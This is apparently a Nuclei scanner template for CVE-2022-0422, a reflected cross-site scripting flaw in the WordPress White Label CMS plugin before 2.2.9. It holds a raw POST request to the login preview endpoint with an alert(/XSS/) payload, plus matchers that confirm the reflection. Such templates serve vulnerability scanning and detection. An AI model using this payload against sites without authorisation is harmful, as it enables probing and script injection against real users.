id: CVE-2022-0422 info: name: WordPress White Label MS < 2.2.9 - Cross-Site Scripting author: random-robbie severity: medium description: The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue back in the response, leading to reflected cross-site scripting. reference: - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0422 - https://plugins.trac.wordpress.org/changeset/2672615 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0422 cwe-id: CWE-79 tags: cve,cve2022,wordpress,xss,wp-plugin,wpscan requests: - raw: - | POST /wp-login.php?wlcms-action=preview HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B matchers-condition: and matchers: - type: word part: body words: - "alert(/XSS/);" - type: word part: body words: - "wlcms-login-wrapper" - type: word part: header words: - text/html - type: status status: - 200